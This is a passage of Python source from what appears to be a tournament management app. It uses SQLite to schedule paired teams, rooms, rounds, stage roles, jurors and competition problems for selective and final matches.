tmp_mpair_problem_guide = row[14]\n tmp_mpair_id = row[2]\n\n #\"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" 0-5\n #\"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE \" 6-10\n tmp_tuple_team = (row[0], row[1], row[2], row[7], row[6], row[12], row[13])\n tmp_team_list.append(tmp_tuple_team)\n\n if tmp_room_code > 0:\n tmp_tuple1 = (tmp_room_code, tmp_team_list, tmp_mpair_stage_status, tmp_mpair_id, tmp_mpair_problem_guide)\n tmp_room_teams.append(tmp_tuple1)\n\n if current_round_code > 0:\n tmp_tuple2 = (current_round_code, tmp_room_teams)\n event_schedule.append(tmp_tuple2)\n\n return event_schedule\n\n\n# Search all the paired teams for specific plan order to by room and round code\ndef search_mpairs_by_room_round(plan_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" \\\n \"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE, MPAIR_STAGE_STATUS_CODE, \" \\\n \"DRAW_NUM, SP, FIGHT_WON, Field15, Field14 \" \\\n \"FROM v_mpair_team \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"ORDER by PLAN_ID, MROOM_CODE, ROUND_CODE, DRAW_NUM, MTEAM_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the paired teams for specific plan order to by round and room code\ndef get_mpairs_by_room_round(plan_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_mpairs_by_room_round(plan_id, app_db_web_location)\n current_room_code = 0\n tmp_mpair_id = 0\n tmp_mpair_problem_guide = None\n mpair_list = []\n tmp_mroom_label = None\n tmp_mround_code = 0 #(round=row[10])\n tmp_stage_status_code = 0\n tmp_round_list = []\n tmp_team_list = []\n for row in result_rows:\n if row[8] != current_room_code:\n if tmp_mround_code > 0:\n tmp_tuple1 = (tmp_mround_code, tmp_team_list, tmp_stage_status_code, tmp_mpair_id, tmp_mpair_problem_guide)\n tmp_round_list.append(tmp_tuple1)\n\n if current_room_code >0:\n tmp_tuple2 = (current_room_code, tmp_mroom_label, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n current_room_code = row[8]\n tmp_round_list = []\n tmp_team_list = []\n tmp_mroom_label = row[9]\n tmp_mround_code = row[10]\n tmp_stage_status_code = row[11]\n tmp_mpair_problem_guide = row[16]\n tmp_mpair_id = row[2]\n\n if row[10] != tmp_mround_code:\n if tmp_mround_code > 0:\n tmp_tuple1 = (tmp_mround_code, tmp_team_list, tmp_stage_status_code, tmp_mpair_id, tmp_mpair_problem_guide)\n tmp_round_list.append(tmp_tuple1)\n\n tmp_team_list = []\n tmp_mround_code = row[10]\n tmp_stage_status_code = row[11]\n tmp_mpair_problem_guide = row[16]\n tmp_mpair_id = row[2]\n\n #\"PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, EVENT_ROUND_ID, MROOM_ID, MPAIR_CODE_LABEL, \" 0-5\n #\"MTEAM_CODE, MTEAM_ID, MROOM_CODE, MROOM_LABEL, ROUND_CODE, MPAIR_STAGE_STATUS_CODE, DRAW_NUM, SP, FIGHT_WON, Field15, Field14 \" 6-12 + 13-14, 15, 16\n tmp_tuple_team = (row[0], row[1], row[2], row[7], row[6], row[12], row[13], row[14], row[15])\n tmp_team_list.append(tmp_tuple_team)\n\n if tmp_mround_code > 0:\n tmp_tuple1 = (tmp_mround_code, tmp_team_list, tmp_stage_status_code, tmp_mpair_id, tmp_mpair_problem_guide)\n tmp_round_list.append(tmp_tuple1)\n\n if current_room_code > 0:\n tmp_tuple2 = (current_room_code, tmp_mroom_label, tmp_round_list)\n mpair_list.append(tmp_tuple2)\n\n return mpair_list\n\n\n# Search stage agenda for specific plan and pair (aka. at specific room and round)\ndef search_stage_agenda(plan_id, mpair_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, STAGE_PROGRESS_STATUS_CODE, \" \\\n \"MTEAM_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, TEAM_MEMBER_ID, TEAM_MEMBER_NAME \" \\\n \"FROM DSTAGE_TEAM \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MPAIR_ID=\" + str(mpair_id) + \" \" \\\n \"ORDER by STAGE_CODE, STAGE_ROLE_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get stage agenda for specific plan and pair (aka. at specific room and round)\ndef get_sm_stage_agenda(plan_id, mpair_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_stage_agenda(plan_id, mpair_id, app_db_web_location)\n current_stage_code = 0\n stage_agenda = []\n tmp_role_list = []\n tmp_role_info = ()\n for row in result_rows:\n if row[2] != current_stage_code:\n if current_stage_code >0:\n tmp_tuple2 = (current_stage_code, mpair_id, tmp_role_list)\n stage_agenda.append(tmp_tuple2)\n\n current_stage_code = row[2]\n tmp_role_list = []\n #\"PLAN_ID, MPAIR_ID, STAGE_CODE, STAGE_ROLE_CODE, STAGE_PROGRESS_STATUS_CODE, \" \\ 0-4\n #\"MTEAM_CODE, MPAIR_TEAM_ID, DSTAGE_TEAM_ID, TEAM_MEMBER_ID, TEAM_MEMBER_NAME \" \\ 5-9\n tmp_role_info = (row[0], row[1], row[4], row[6], row[7], row[8], row[9])\n tmp_tuple_role = (row[3], row[5], tmp_role_info)\n tmp_role_list.append(tmp_tuple_role)\n\n if current_stage_code >0:\n tmp_tuple2 = (current_stage_code, mpair_id, tmp_role_list)\n stage_agenda.append(tmp_tuple2)\n\n return stage_agenda\n\n\n# initilize stage agenda for selective match\n# insert new records in DSTAGE_TEAM table\n# - FK: MPAIR_ID, MPAIR_TEAM_ID, PLAN_ID\n# - for each mpair_team, add two records: stage 1, reporter/opponent, stage 2, opponent/reporter\n# update MPAIR stage_status_code\n# update MPAIR_TEAM draw number\n# parameters:\n# - sm_current_room_round_pairs e.g. (1, [(26, 1251, 626, 254, 4, 1), (26, 1252, 626, 255, 5, 2)], 1, 626)\n# (stage_code, [reporter, opponent], stage-status_code, mpair_id)\n# - PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, MTEAM_ID, MTEAM_CODE, DRAW_NUM\ndef initialize_sm_stage_agenda(plan_id, sm_current_room_round_pairs, team1_code, team2_code, current_jury, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n mpair_id = 0\n # initialize stage agenca in DSTAGE_TEAM table\n for team in sm_current_room_round_pairs[1]:\n mpair_team_id = team[1]\n mpair_id = team[2]\n mteam_code = team[4]\n # insert new records in DSTAGE_TEAM table\n if mteam_code == team1_code:\n # insert new records in DSTAGE_TEAM table - team1\n # insert: stage 1, reporter, stage 2, opponent\n stage_code = 1\n stage_role_codde = 1 # reporter\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, plan_id, current_user_id, current_timestamp))\n stage_code = 2\n stage_role_codde = 2 # OPPONENT\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, plan_id, current_user_id, current_timestamp))\n # update MPAIR_TEAM draw_num - 2\n _c.execute(\"UPDATE MPAIR_TEAM SET DRAW_NUM = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_TEAM_ID = ?\",\n (1, current_user_id, current_timestamp, plan_id, mpair_team_id))\n elif mteam_code == team2_code:\n # insert new records in DSTAGE_TEAM table - team2\n # insert: stage 1, opponent , stage 2, reporter\n stage_code = 1\n stage_role_codde = 2\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, plan_id, current_user_id, current_timestamp))\n stage_code = 2\n stage_role_codde = 1\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, plan_id, current_user_id, current_timestamp))\n # update MPAIR_TEAM draw_num - 2\n _c.execute(\"UPDATE MPAIR_TEAM SET DRAW_NUM = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_TEAM_ID = ?\",\n (2, current_user_id, current_timestamp, plan_id, mpair_team_id))\n\n #insert new records in DSTAGE_JUROR table for stage 1 and stage 2\n for juror in current_jury:\n mjuror_code = juror[0]\n mjuror_id = juror[2]\n mpair_juror_id = juror[1]\n if mpair_juror_id == 0:\n mpair_juror_id = None\n _c.execute(\n \"insert into DSTAGE_JUROR (MJUROR_ID, MPAIR_JUROR_ID, MPAIR_ID, MJUROR_CODE, STAGE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mjuror_id, mpair_juror_id, mpair_id, mjuror_code, 1, plan_id, current_user_id, current_timestamp))\n _c.execute(\n \"insert into DSTAGE_JUROR (MJUROR_ID, MPAIR_JUROR_ID, MPAIR_ID, MJUROR_CODE, STAGE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mjuror_id, mpair_juror_id, mpair_id, mjuror_code, 2, plan_id, current_user_id, current_timestamp))\n\n # update MPAIR stage_status_code\n _c.execute(\"UPDATE MPAIR SET MPAIR_STAGE_STATUS_CODE = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ?\",\n (1, current_user_id, current_timestamp, plan_id, mpair_id))\n\n _conn.commit()\n _conn.close()\n\n\n# initilize stage agenda for final match\n# insert new records in DSTAGE_TEAM table\n# - FK: MPAIR_ID, MPAIR_TEAM_ID, PLAN_ID\n# - for each mpair_team, add three records: stage 1, reporter/opponent/reviewer, stage 2, reviewer/reporter/opponent, stage 3, opponent/reviewer/reporter\n# update MPAIR stage_status_code\n# update MPAIR_TEAM draw number\n# parameters:\n# - fm_plan e.g. (teams, jurors, mpair, round, room)\n# (stage_code, [reporter, opponent], stage-status_code, mpair_id)\n# - PLAN_ID, MPAIR_TEAM_ID, MPAIR_ID, MTEAM_ID, MTEAM_CODE, DRAW_NUM\n# round_info = (row[2], row[1]) # roound_id, round_code\n# room_info = (row[3], row[4], row[5]) # mroom_id, mroom_code, mroom_label\n# pair_info = (row[0], row[9], row[10]) # mpair_id, MPAIR_SIDS, MPAIR_STAGE_STATUS_CODE\n#fm_plan_teams.append((row[6], row[7], row[8])) # mpair_team_id, mteam_code, mteam_id\ndef initialize_fm_stage_agenda(fm_plan_id, fm_plan, draw_numbers, fm_team_problem_codes, current_jury, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n mpair_id = fm_plan[2][0]\n # initialize stage agenca in DSTAGE_TEAM table\n i = 0\n for team in fm_plan[0]:\n i += 1\n mpair_team_id = team[0]\n mteam_id = team[2]\n mteam_code = team[1]\n draw_number = draw_numbers[i-1]\n selected_problem_code = fm_team_problem_codes[i-1]\n # insert new records in DSTAGE_TEAM table\n if draw_number == 1:\n # insert new records in DSTAGE_TEAM table - sm ranking #1 team\n # insert: stage 1, reporter, stage 2, reviewer, stage 3, opponent\n stage_code = 1\n stage_role_codde = 1 # reporter\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, fm_plan_id, current_user_id, current_timestamp))\n stage_code = 2\n stage_role_codde = 3 # REVIEWER\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, fm_plan_id, current_user_id, current_timestamp))\n stage_code = 3\n stage_role_codde = 2 # OPPONENT\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, fm_plan_id, current_user_id, current_timestamp))\n # update MPAIR_TEAM draw_num - 2\n _c.execute(\"UPDATE MPAIR_TEAM SET DRAW_NUM = ?, Field15=?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_TEAM_ID = ?\",\n (draw_number, selected_problem_code, current_user_id, current_timestamp, fm_plan_id, mpair_team_id))\n elif draw_number == 2:\n # insert new records in DSTAGE_TEAM table - sm ranking #2 team\n # insert: stage 1, reporter, stage 2, reviewer, stage 3, opponent\n stage_code = 1\n stage_role_codde = 2 # OPPONENT\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, fm_plan_id, current_user_id, current_timestamp))\n stage_code = 2\n stage_role_codde = 1 # reporter\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, fm_plan_id, current_user_id, current_timestamp))\n stage_code = 3\n stage_role_codde = 3 # REVIEWER\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, fm_plan_id, current_user_id, current_timestamp))\n # update MPAIR_TEAM draw_num - 2\n _c.execute(\"UPDATE MPAIR_TEAM SET DRAW_NUM = ?, Field15=?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_TEAM_ID = ?\",\n (draw_number, selected_problem_code, current_user_id, current_timestamp, fm_plan_id, mpair_team_id))\n elif draw_number == 3:\n # insert new records in DSTAGE_TEAM table - sm ranking #3 team\n # insert: stage 1, reporter, stage 2, reviewer, stage 3, opponent\n stage_code = 1\n stage_role_codde = 3 #REVIEWER\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, fm_plan_id, current_user_id, current_timestamp))\n stage_code = 2\n stage_role_codde = 2 #OPPONENT\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, fm_plan_id, current_user_id, current_timestamp))\n stage_code = 3\n stage_role_codde = 1 # reporter\n _c.execute(\n \"insert into DSTAGE_TEAM (MPAIR_TEAM_ID, MPAIR_ID, MTEAM_CODE, STAGE_CODE, STAGE_ROLE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mpair_team_id, mpair_id, mteam_code, stage_code, stage_role_codde, fm_plan_id, current_user_id, current_timestamp))\n # update MPAIR_TEAM draw_num - 2\n _c.execute(\"UPDATE MPAIR_TEAM SET DRAW_NUM = ?, Field15=?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_TEAM_ID = ?\",\n (draw_number, selected_problem_code, current_user_id, current_timestamp, fm_plan_id, mpair_team_id))\n\n #insert new records in DSTAGE_JUROR table for stage 1, stage 2 and stage 3\n for juror in current_jury:\n mjuror_code = juror[0]\n mjuror_id = juror[2]\n mpair_juror_id = juror[1]\n if mpair_juror_id == 0:\n mpair_juror_id = None\n _c.execute(\n \"insert into DSTAGE_JUROR (MJUROR_ID, MPAIR_JUROR_ID, MPAIR_ID, MJUROR_CODE, STAGE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mjuror_id, mpair_juror_id, mpair_id, mjuror_code, 1, fm_plan_id, current_user_id, current_timestamp))\n _c.execute(\n \"insert into DSTAGE_JUROR (MJUROR_ID, MPAIR_JUROR_ID, MPAIR_ID, MJUROR_CODE, STAGE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mjuror_id, mpair_juror_id, mpair_id, mjuror_code, 2, fm_plan_id, current_user_id, current_timestamp))\n _c.execute(\n \"insert into DSTAGE_JUROR (MJUROR_ID, MPAIR_JUROR_ID, MPAIR_ID, MJUROR_CODE, STAGE_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?)\",\n (mjuror_id, mpair_juror_id, mpair_id, mjuror_code, 3, fm_plan_id, current_user_id, current_timestamp))\n\n # update MPAIR stage_status_code\n _c.execute(\"UPDATE MPAIR SET MPAIR_STAGE_STATUS_CODE = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ?\",\n (1, current_user_id, current_timestamp, fm_plan_id, mpair_id))\n\n _conn.commit()\n _conn.close()\n\n\n# save stage members and jurors for selective match\n# update team_member_id and name in DSTAGE_TEAM table for reporter and opponent\n# update MPAIR stage_status_code to 11 or 21\n# parameters:\ndef save_stage_members(plan_id, current_pair_id, stage_code, reporter, opponent, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n\n # update team_member_id and name in DSTAGE_TEAM table\n # reporter's team member: role code = 1\n stage_role_code = 1\n team_member_id = reporter.split(\"--\", 1)[0]\n team_member_name = reporter.split(\"--\", 1)[1]\n _c.execute(\n \"UPDATE DSTAGE_TEAM SET TEAM_MEMBER_ID = ?, TEAM_MEMBER_NAME=?, last_updated_by = ?, last_updated_date = ? \"\n \"WHERE PLAN_ID = ? AND MPAIR_ID = ? AND STAGE_CODE = ? AND STAGE_ROLE_CODE = ?\",\n (team_member_id, team_member_name, current_user_id, current_timestamp, plan_id, current_pair_id, stage_code, stage_role_code))\n # opponent's team member: role code = 2\n stage_role_code = 2\n team_member_id = opponent.split(\"--\", 1)[0]\n team_member_name = opponent.split(\"--\", 1)[1]\n _c.execute(\n \"UPDATE DSTAGE_TEAM SET TEAM_MEMBER_ID = ?, TEAM_MEMBER_NAME=?, last_updated_by = ?, last_updated_date = ? \"\n \"WHERE PLAN_ID = ? AND MPAIR_ID = ? AND STAGE_CODE = ? AND STAGE_ROLE_CODE = ?\",\n (team_member_id, team_member_name, current_user_id, current_timestamp, plan_id, current_pair_id, stage_code, stage_role_code))\n\n # update MPAIR stage_status_code\n stage_status_code = 1\n if stage_code == 1:\n stage_status_code = 11\n elif stage_code == 2:\n stage_status_code = 21\n _c.execute(\"UPDATE MPAIR SET MPAIR_STAGE_STATUS_CODE = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ?\",\n (stage_status_code, current_user_id, current_timestamp, plan_id, current_pair_id))\n\n _conn.commit()\n _conn.close()\n\n\n# save stage members and jurors for final match\n# update team_member_id and name in DSTAGE_TEAM table for reporter and opponent, reviewer\n# insert one new records in DSTAGE_problem table\n# update MPAIR stage_status_code to 11 or 21, 31\n# parameters:\ndef save_fm_stage_members(plan_id, current_pair_id, stage_code, reporter, opponent, reviewer, reporter_problem,\n current_reporter_dstage_team_id, current_user_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n current_timestamp = str(datetime.datetime.now())\n\n # update team_member_id and name in DSTAGE_TEAM table\n # reporter's team member: role code = 1\n stage_role_code = 1\n team_member_id = reporter.split(\"--\", 1)[0]\n team_member_name = reporter.split(\"--\", 1)[1]\n _c.execute(\n \"UPDATE DSTAGE_TEAM SET TEAM_MEMBER_ID = ?, TEAM_MEMBER_NAME=?, last_updated_by = ?, last_updated_date = ? \"\n \"WHERE PLAN_ID = ? AND MPAIR_ID = ? AND STAGE_CODE = ? AND STAGE_ROLE_CODE = ?\",\n (team_member_id, team_member_name, current_user_id, current_timestamp, plan_id, current_pair_id, stage_code, stage_role_code))\n\n # insert reporter problem to DSTAGE_PROBLEM - one record\n _c.execute(\n \"insert into DSTAGE_PROBLEM (DSTAGE_TEAM_ID_FROM, DSTAGE_TEAM_ID_TO, PROBLEM_ID, STAGE_CODE, PROBLEM_CODE, PROBLEM_LABEL_CODE, DSTAGE_PROBLEM_SUB_STATUS_CODE, PLAN_ID, CREATED_BY, CREATED_DATE) values(?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\",\n (current_reporter_dstage_team_id, current_reporter_dstage_team_id, reporter_problem['problem_id'], stage_code, reporter_problem['problem_code'],\n reporter_problem['problem_label_code'], 3, plan_id, current_user_id, current_timestamp))\n\n # opponent's team member: role code = 2\n stage_role_code = 2\n team_member_id = opponent.split(\"--\", 1)[0]\n team_member_name = opponent.split(\"--\", 1)[1]\n _c.execute(\n \"UPDATE DSTAGE_TEAM SET TEAM_MEMBER_ID = ?, TEAM_MEMBER_NAME=?, last_updated_by = ?, last_updated_date = ? \"\n \"WHERE PLAN_ID = ? AND MPAIR_ID = ? AND STAGE_CODE = ? AND STAGE_ROLE_CODE = ?\",\n (team_member_id, team_member_name, current_user_id, current_timestamp, plan_id, current_pair_id, stage_code, stage_role_code))\n\n # reviewer's team member: role code = 3\n stage_role_code = 3\n team_member_id = reviewer.split(\"--\", 1)[0]\n team_member_name = reviewer.split(\"--\", 1)[1]\n _c.execute(\n \"UPDATE DSTAGE_TEAM SET TEAM_MEMBER_ID = ?, TEAM_MEMBER_NAME=?, last_updated_by = ?, last_updated_date = ? \"\n \"WHERE PLAN_ID = ? AND MPAIR_ID = ? AND STAGE_CODE = ? AND STAGE_ROLE_CODE = ?\",\n (team_member_id, team_member_name, current_user_id, current_timestamp, plan_id, current_pair_id, stage_code, stage_role_code))\n\n # update MPAIR stage_status_code\n stage_status_code = 1\n if stage_code == 1:\n stage_status_code = 11\n elif stage_code == 2:\n stage_status_code = 21\n elif stage_code == 3:\n stage_status_code = 31\n _c.execute(\"UPDATE MPAIR SET MPAIR_STAGE_STATUS_CODE = ?, last_updated_by = ?, last_updated_date = ? WHERE PLAN_ID = ? AND MPAIR_ID = ?\",\n (stage_status_code, current_user_id, current_timestamp, plan_id, current_pair_id))\n\n #update DSTAGE_TEAM table to set the accepted problem\n rep_coefficince = 3.0\n opp_coefficince = 2.0\n rev_coefficince = 1.0\n reporter_current_stage_rejection_credit_g1 = 0\n reporter_current_stage_rejection_credit_g2 = 0\n reporter_current_stage_rejection_times = 0\n _c.execute(\n \"UPDATE DSTAGE_TEAM SET STAGE_MATCH_PROBLEM_ID = ?, STAGE_MATCH_PROBLEM_CODE=?, REP_COEFFICIENCE=?, OPP_COEFFICIENCE = ?, REV_COEFFICIENCE = ?, \"\n \"REP_REJECTION_CREIDT_G1 = ?, REP_REJECTION_CREIDT_G2 = ?, TOTAL_REJECTED_TIMES = ?, last_updated_by = ?, last_updated_date = ? \"\n \"WHERE PLAN_ID = ? AND MPAIR_ID = ? AND STAGE_CODE = ?\",\n (reporter_problem['problem_id'], reporter_problem['problem_code'], rep_coefficince, opp_coefficince, rev_coefficince,\n reporter_current_stage_rejection_credit_g1, reporter_current_stage_rejection_credit_g2, reporter_current_stage_rejection_times,\n current_user_id, current_timestamp, plan_id, current_pair_id, stage_code))\n\n _conn.commit()\n _conn.close()\n\n\n# Search all the jurors that attended a specific stage for specific plan and pair (aka. at specific room and round)\ndef search_stage_jurors(plan_id, mpair_id, stage_code, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PLAN_ID, MPAIR_ID, STAGE_CODE, DSTAGE_JUROR_ID, MJUROR_ID, MPAIR_JUROR_ID, MJUROR_CODE, \" \\\n \"IS_CHAIR, MJUROR_COI_SIDS, MJUROR_TIMESLOTS \" \\\n \"FROM v_dstage_jurors \" \\\n \"WHERE PLAN_ID=\" + str(plan_id) + \" \" \\\n \"AND MPAIR_ID=\" + str(mpair_id) + \" \" \\\n \"AND STAGE_CODE=\" + str(stage_code) + \" \" \\\n \"AND DSTAGE_JUROR_STATUS='Active' \" \\\n \"ORDER by IS_CHAIR DESC\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the jurors that attended a specific stage for specific plan and pair (aka. at specific room and round)\ndef get_stage_jurors(plan_id, mpair_id, stage_code, app_db_web_location=app_db_web_location_default):\n result_rows = search_stage_jurors(plan_id, mpair_id, stage_code, app_db_web_location)\n stage_jurors = list()\n for row in result_rows:\n #\"PLAN_ID, MPAIR_ID, STAGE_CODE, DSTAGE_JUROR_ID, MJUROR_ID, MPAIR_JUROR_ID, MJUROR_CODE, \" \\ 0-6\n #\"IS_CHAIR, MJUROR_COI_SIDS, MJUROR_TIMESLOTS \" \\ 7-9\n tmp_tuple_juror = (row[6], row[5], row[4], (row[1], row[2], row[3], row[7], row[8], row[9]))\n stage_jurors.append(tmp_tuple_juror)\n\n return stage_jurors\n\n\n# Search all the problems for specific plan order by group and problem label\ndef search_master_problems(event_id, app_db_web_location=app_db_web_location_default):\n _conn = sqlite3.connect(app_db_web_location)\n _c = _conn.cursor()\n\n command = \"SELECT \" \\\n \"PROBLEM_ID, EVENT_ID, PROBLEM_LABEL, PROBLEM_LABEL_CODE, PROBLEM_DESCRIPTION, \" \\\n \"PROBLEM_GROUP, PROBLEM_NOTES, PROBLEM_CODE \" \\\n \"FROM EVENT_PROBLEM \" \\\n \"WHERE EVENT_ID=\" + str(event_id) + \" \" \\\n \"AND PROBLEM_STATUS='Active' \" \\\n \"ORDER by PROBLEM_GROUP, PROBLEM_CODE\" \\\n \";\"\n\n _c.execute(command)\n result = _c.fetchall()\n\n _conn.commit()\n _conn.close()\n\n return result\n\n\n# get all the problems in a group for specific plan order by group and problem code\ndef get_event_group_problems(event_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_master_problems(event_id, app_db_web_location)\n group_code = 0\n problem_list = []\n tmp_problem_list = []\n for row in result_rows:\n if row[5] != group_code:\n if group_code >0:\n tmp_problem_group = [group_code, tmp_problem_list]\n problem_list.append(tmp_problem_group)\n\n group_code = row[5]\n tmp_problem_list = []\n #\"PROBLEM_ID, EVENT_ID, PROBLEM_LABEL, PROBLEM_LABEL_CODE, PROBLEM_DESCRIPTION, \" 0-4\n # problem status code: 1-proposed, 2-rejected, 3-accepted\n tmp_problem_info = {\n \"problem_code\": row[7],\n \"problem_id\": row[0],\n \"problem_label_code\": row[3],\n \"problem_label\": row[2],\n \"problem_description\": row[4],\n \"problem_status\": 0,\n \"group_code\" : group_code\n }\n tmp_problem_list.append(tmp_problem_info)\n\n if group_code >0:\n tmp_problem_group = [group_code, tmp_problem_list]\n problem_list.append(tmp_problem_group)\n\n return problem_list\n\n\n# get all the problems in a group for specific plan order by group and problem code\ndef get_event_master_problems(event_id, app_db_web_location=app_db_web_location_default):\n result_rows = search_master_problems(event_id, app_db_web_location)\n group_code = 0\n problem_list = []\n for 